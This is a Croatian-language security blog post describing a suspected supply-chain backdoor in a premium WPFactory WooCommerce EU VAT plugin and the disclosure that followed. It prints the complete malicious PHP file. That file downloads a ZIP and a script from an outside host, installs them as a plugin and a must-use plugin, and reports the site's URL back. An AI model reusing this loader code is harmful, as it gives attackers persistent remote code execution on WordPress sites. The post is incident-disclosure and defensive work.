Sigurnosni propust na WPFactory: 170.000 WordPress stranica izloženo

WordPress ostaje najkorišteniji sustav za upravljanje sadržajem na svijetu, pokrećući više od 40 posto svih web stranica na internetu. Od web stranica malih poduzeća i osobnih blogova do velikih korporativnih platformi i e-trgovinskih infrastruktura, CMS je postao okosnica modernog weba. Njegova popularnost proizlazi iz fleksibilnosti, otvorenog ekosustava i golemog broja dostupnih dodataka za proširenje njegove funkcionalnosti.

Međutim, isti ovaj ekosustav postao je i jedan od najvećih sigurnosnih izazova za WordPress.

U tvrtki Ferber Enterprises naš tim za kibernetičku sigurnost neprestano prati prijetnje koje pogađaju WordPress ekosustav jer ranjivosti u dodatcima, temama ili lancima opskrbe mogu se brzo pretvoriti u kompromise velikih razmjera koji pogađaju tisuće web-stranica diljem svijeta. Posljednjih godina napadači sve češće ciljaju developere dodataka i infrastrukturu distribucije umjesto pojedinačnih web-stranica, omogućujući širenje zlonamjernog koda putem pouzdanih ažuriranja softvera i službenih kanala za preuzimanje.

Ovaj tjedan izbio je veliki skandal vezan uz WPFactory, poznatog developera WordPress dodataka čiji su proizvodi instalirani na više od 170.000 web-stranica diljem svijeta. Više od 80 dodataka povezanih s tom tvrtkom privremeno je zatvoreno na WordPress.org nakon što je naš tim za kibernetičku sigurnost u Ferber Enterprises otkrio sumnjivu stražnju vratašca u premium verziji jednog od njihovih dodataka.

Incident je podigao ozbiljnu zabrinutost diljem WordPress zajednice o sigurnosti opskrbnog lanca softvera, procesima pregleda dodataka i sve većoj sofisticiranosti napada usmjerenih na ekosustav otvorenog koda.

Otkriće sumnjivog ponašanja dodatka

Problem je prvi put izašao na vidjelo nakon što je naš tim za kibernetičku sigurnost u Ferber Enterprises primijetio abnormalno ponašanje tijekom testiranja premium verzije dodatka EU PDV za WooCommerce Pro, distribuiranog izravno s njihove službene web-stranice.

Istraživanje je u početku započelo nakon što je dodatak generirao kritičnu pogrešku tijekom instalacije. Tijekom rješavanja problema, naši analitičari identificirali su uočljivu PHP datoteku pod nazivom class-alg-wc-eu-vat-customer.php. Datoteka je pokazivala ponašanje koje je u potpunosti nedosljedno s očekivanom funkcionalnošću dodataka za PDV WooCommerce.

class-alg-wc-eu-vat-customer.php
<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Prema našoj analizi, kôd je pokušao:

  • Preuzmite vanjsku ZIP arhivu s udaljenog poslužitelja
  • Izmijenite direktorije WordPressa
  • Komunicirati s vanjskom infrastrukturom
  • Potencijalno izvođenje udaljenih tereta na zahvaćenim web stranicama

Ovi pokazatelji odmah su sugerirali moguću prisutnost skrivenih stražnjih vrata ili zlonamjerne kompromitacije opskrbnog lanca.

Ono što je situaciju učinilo osobito alarmantnom bilo je to što dodatak nije preuzet s neovlaštenog ogledala ili piratskog repozitorija. Paket je preuzet izravno s službenog korisničkog portala WPFactory-a, što je pojačalo zabrinutost da je sam kanal distribucije možda kompromitiran.

U Ferber Enterprises smo odmah dokumentirali incident i pokrenuli postupak odgovornog otkrivanja kontaktiranjem WPFactory izravno putem Githuba.

Početni odgovor od WPFactory

WPFactory je u početku odgovorio navodeći da sumnjiva datoteka i ponašanje opisani u izvješću nisu bili dio njihove službene baze koda.

Predstavnik tvrtke predložio je nekoliko alternativnih objašnjenja, uključujući:

  • Modificirana lokalna instalacija
  • Kompromitirano okruženje web stranice
  • Zastarela verzija dodatka
  • Potencijalno kompromitiran izvor preuzimanja

Tvrtka je također navela da nisu mogli sigurno pregledati dostavljenu ZIP datoteku jer je njihov preglednik označio arhivu kao potencijalno nesigurnu.

Naš tim za kibernetičku sigurnost potom je pojasnio da je dodatak preuzet izravno s službene web-stranice WPFactory-a te da je sumnjiva datoteka ostala prisutna čak i nakon preuzimanja svježe kopije verzije 4.6.1 s istog izvora.

Ovaj je detalj postao središnji za istragu. Ako je više neovisnih preuzimanja s službenog distribucijskog kanala dosljedno sadržavalo isti sumnjivi kod, mogućnost kompromitiranja lokalne web-stranice postajala je sve manje vjerojatna. Unatoč tim nalazima, WPFactory je u početku izjavio da nisu uspjeli reproducirati problem na svojoj strani i tvrdili su da sumnjiva datoteka ne postoji u službenom paketu dodatka.

Tvrtka je zatim zatražila administratorski i FTP pristup pogođenom okruženju kako bi nastavila istragu. U Ferber Enterprises smo odbili taj zahtjev iz razloga kibernetičke sigurnosti. Pružanje privilegiranog pristupa poslužitelju dobavljaču čija je infrastruktura možda sama bila kompromitirana predstavljalo bi neprihvatljiv sigurnosni rizik. Naš je tim umjesto toga nastavio dostavljati tehničke dokaze, uključujući video demonstraciju koja prikazuje sumnjivo ponašanje dodatka odmah nakon instalacije.

Eskalacija na WordPress.org

Kako je istraga napredovala, zabrinutost zbog potencijalnog opsega problema rasla je. WPFactory održava veliki portfelj dodataka koji obuhvaća više od 65 dodataka s ukupno više od 170.000 aktivnih instalacija. Svaki kompromis koji bi utjecao na distribucijsku infrastrukturu tvrtke mogao bi stoga imati dalekosežne posljedice po cijeli WordPress ekosustav.

Naš je tim odmah prijavio problem izravno WordPress.org-u u nastojanju da spriječi dodatne korisnike da instaliraju potencijalno kompromitirane pakete dok je istraga bila u tijeku. WordPress.org je potom poduzeo izvanredan korak i privremeno uklonio više od 80 WPFactory dodataka iz službenog repozitorija.

Ovaj potez odmah je privukao pozornost cijele WordPress zajednice za sigurnost jer su masovna zatvaranja dodataka takvih razmjera relativno rijetka i obično ukazuju na ozbiljne neriješene probleme. Nakon eskalacije, WPFactory je kasnije priznao da je problem bio legitiman i ispričao se što nije brže reagirao na početno izvješće. Predstavnici tvrtke izjavili su da aktivno istražuju slučaj i rade na rješenju. Jedna je hipoteza koju je interno iznijela tvrtka WPFactory sugerirala da je zastarjeli ili keširani paket dodatka možda nenamjerno poslužen putem njihove infrastrukture.

Međutim, naš tim za kibernetičku sigurnost nije se složio s tom procjenom. Promatrano ponašanje snažno je ukazivalo na dublji sigurnosni problem koji bi potencijalno mogao uključivati ugrožene build pipelineove, distribucijske sustave ili neovlašteno ubacivanje koda u arhive koje se mogu preuzeti.

Zašto je ovaj incident važan

Kontroverza WPFactory ističe rastuću kibernetičku prijetnju poznatu kao napad na lanac opskrbe softverom. Tradicionalno su napadači ciljali na kompromitiranje pojedinačnih web-stranica izravno putem brute-force napada ili ranjivosti dodataka. Danas prijetitelji sve više ciljaju same dobavljače softvera jer kompromitiranje pouzdanog dobavljača omogućuje širenje zlonamjernog koda na tisuće web-stranica istovremeno.

Ova je strategija već primijećena u nekoliko visokoprofilnih kibernetičkih incidenata koji su utjecali na globalne softverske ekosustave tijekom proteklog desetljeća. Konkretno u WordPress ekosustavu, razvojni programeri dodataka predstavljaju atraktivne mete jer administratori dodacima inherentno vjeruju i oni često rade s povišenim dopuštenjima.

Ako se zlonamjerni kod uvede u paket dodatka distribuiran službenim kanalom, pogođene web-stranice mogu nehotice instalirati zlonamjerni softver. U slučaju sumnjivog dodatka WPFactory, moguće posljedice su ozbiljne.

Na temelju naše analize, identificirano ponašanje teoretski bi moglo omogućiti napadačima da:

  • Dodaj dodatni zlonamjerni softver
  • Ubaci SEO spam
  • Napravite trajne zlouporabe
  • Izvući osjetljive podatke
  • Daljinsko uređivanje WordPress instalacija
  • Održavati neovlašteni pristup tijekom duljih razdoblja

Opasnost ovakvih napada leži u njihovoj prikrivenosti. Moderni skriveni ulazi često su dizajnirani da ostanu neaktivni mjesecima prije aktivacije, što značajno otežava njihovo otkrivanje. Početkom ovog mjeseca, WordPress Plugins Team navodno je zatvorio više od 30 dodataka nakon što je skriveni zlonamjerni kod ugrađen u portfelj drugog dodatka ostao neaktivan otprilike osam mjeseci prije nego što se napokon aktivirao i ubrizgao SEO spam na web stranice.

Ovaj trend pokazuje kako napadači sve više prioritetiziraju postojanost i odgođeno aktiviranje kako bi izbjegli mehanizme za otkrivanje.

Šira sigurnosna kriza u WordPress ekosustavu

Incident WPFactory također razotkriva šire sustavne sigurnosne izazove koji pogađaju WordPress u cjelini. Ekosustav dodataka dramatično se proširio tijekom proteklog desetljeća, s desecima tisuća dodataka dostupnih na službenim i komercijalnim tržištima. Iako taj ekosustav potiče inovacije i fleksibilnost, on također stvara ogromnu složenost za sigurnosni nadzor.

Prema izvješću Patchstakka "Stanje sigurnosti WordPressa u 2026. godini", gotovo 46% poznatih ranjivosti nije zakrpljeno prije javnog objavljivanja. Ova statistika odražava sve veći teret koji leži na programerima dodataka, istraživačima sigurnosti i upraviteljima repozitorija.

Istodobno, službeni red čekanja za pregled dodataka za WordPress navodno sada premašuje 4.000 dodataka koji čekaju na pregled. Takvi brojevi ilustriraju golem izazov održavanja osiguranja kvalitete i sigurnosnog audita u velikim razmjerima.

Mnogi programeri dodataka su mali timovi s ograničenim sigurnosnim resursima. Drugi istovremeno upravljaju desecima dodataka dok provode agresivne komercijalne strategije rasta koje uključuju akvizicije i širenje portfelja. WPFactory je nedavno proširio svoje poslovanje putem akvizicija, uključujući kupnju Extend-WP-a i njegovih 19 dodataka 2025. godine, nakon čega je uslijedila akvizicija WBW-a i još nekoliko dodataka kasnije te godine.

Brzo širenje portfelja može stvoriti operativnu složenost koja komplicira reviziju koda, upravljanje infrastrukturom i provjeru integriteta izdanja. Napadači su dobro svjesni tih stvarnosti. Sve se više usredotočuju na iskorištavanje slabih praksi operativne sigurnosti unutar dobavljača softvera umjesto izravnog ciljanja krajnjih korisnika.

Rastuća važnost sigurnosti opskrbnog lanca

Incidenti poput ovoga naglašavaju hitnu potrebu za snažnijim praksama sigurnosti opskrbnog lanca u cijelom WordPress ekosustavu.

U tvrtki Ferber Enterprises naš tim za kibernetičku sigurnost snažno preporučuje da programeri dodataka usvoje nekoliko ključnih zaštita, uključujući:

  • Kriptografsko potpisivanje paketa
  • Sigurne CI/CD linije
  • Obavezna višefaktorska autentifikacija
  • Segmentacija infrastrukture
  • Kontinuirano praćenje integriteta
  • Nezavisne revizije koda
  • Sustavi za ponovljivo građenje

Administratori web stranica također bi trebali ojačati vlastitu sigurnost. Čak se i dodaci preuzeti s službenih ili pouzdanih izvora ne smiju automatski smatrati sigurnima.

Organizacije koje upravljaju kritičnom WordPress infrastrukturom trebale bi razmotriti:

  • Održavanje staging okruženja
  • Praćenje odlaznog prometa
  • Skeniranje dodataka prije implementacije
  • Ograničavanje korištenja dodataka
  • Primjena kontrole pristupa najmanjih povlastica
  • Implementacija nadzora integriteta datoteka
  • Korištenje upravljanih vatrozida za web-aplikacije (WAF)

U poduzećima, provjera lanca opskrbe postaje jednako važna kao i tradicionalno upravljanje ranjivostima. Pretpostavka da su službeni softverski kanali uvijek sigurni više nije realna u današnjem krajoliku prijetnji.

Reakcije zajednice i istraga koja je u tijeku

Kontroverza se brzo proširila WordPress zajednicom nakon što su programeri, sigurnosni istraživači i pružatelji usluga infrastrukture javno počeli raspravljati o tom pitanju.

Nekoliko poznatih osoba unutar ekosustava povećalo je svijest o situaciji, uključujući razvojne programere koji su objavili popise privremeno zatvorenih dodataka i potaknuli administratore da revidiraju svoja okruženja.

U međuvremenu naš tim u Ferber Enterprises nastavlja analizirati sumnjive uzorke dodataka i pratiti dodatne pokazatelje kompromitiranja koji bi mogli utjecati na WordPress web-stranice diljem svijeta.

U trenutku objave, WPFactory je priznao problem i izjavio da aktivno radi na rješenju.

Međutim, mnoga pitanja ostaju neodgovorena:

  • Je li službena distribucijska infrastruktura kompromitirana?
  • Koliko su dugo zlonamjerni paketi potencijalno distribuirani?
  • Jesu li bili pogođeni dodatni dodaci?
  • Jesu li korisnički računi ili sustavi za preuzimanje ugroženi?
  • Jesu li napadači stekli trajni pristup unutarnjoj infrastrukturi?
  • Mogu li postojati još uspavani tereti?

Dok se ova pitanja u potpunosti ne riješe, oprez ostaje ključan.

Budućnost WordPress sigurnosti

Incident WPFactory mogao bi na kraju postati još jedan ključan primjer izazova kibernetičke sigurnosti s kojima se suočava web ekosustav otvorenog koda.

WordPress pokreće ogroman dio globalne internetske ekonomije. Svaki veliki kompromitirajući događaj koji utječe na razvojne programere dodataka stoga može imati posljedice koje nadilaze pojedinačne web stranice.

Kako napadači nastavljaju evoluirati prema kompromitiranju lanaca opskrbe i tehnikama prikrivenog trajnog prisustva, sigurnost dodataka više se ne može smatrati sporednom brigu. U Ferber Enterprises vjerujemo da ovaj događaj služi kao ključni podsjetnik da kibernetička sigurnost nije samo zaštita samih web-stranica, nego i osiguravanje svakog sloja lanca distribucije softvera.

Povjerenje u otvorene ekosustave ovisi o transparentnosti, brzoj reakciji na incidente i snažnim praksama operativne sigurnosti. WordPress ekosustav sada se suočava s važnim trenutkom.

Kako će programeri, održavatelji spremišta, pružatelji hostinga i sigurnosni timovi odgovoriti na ovakve incidente, pomoći će u određivanju hoće li WordPress moći nastaviti zadržati povjerenje milijuna tvrtki i organizacija koje se svakodnevno oslanjaju na njega.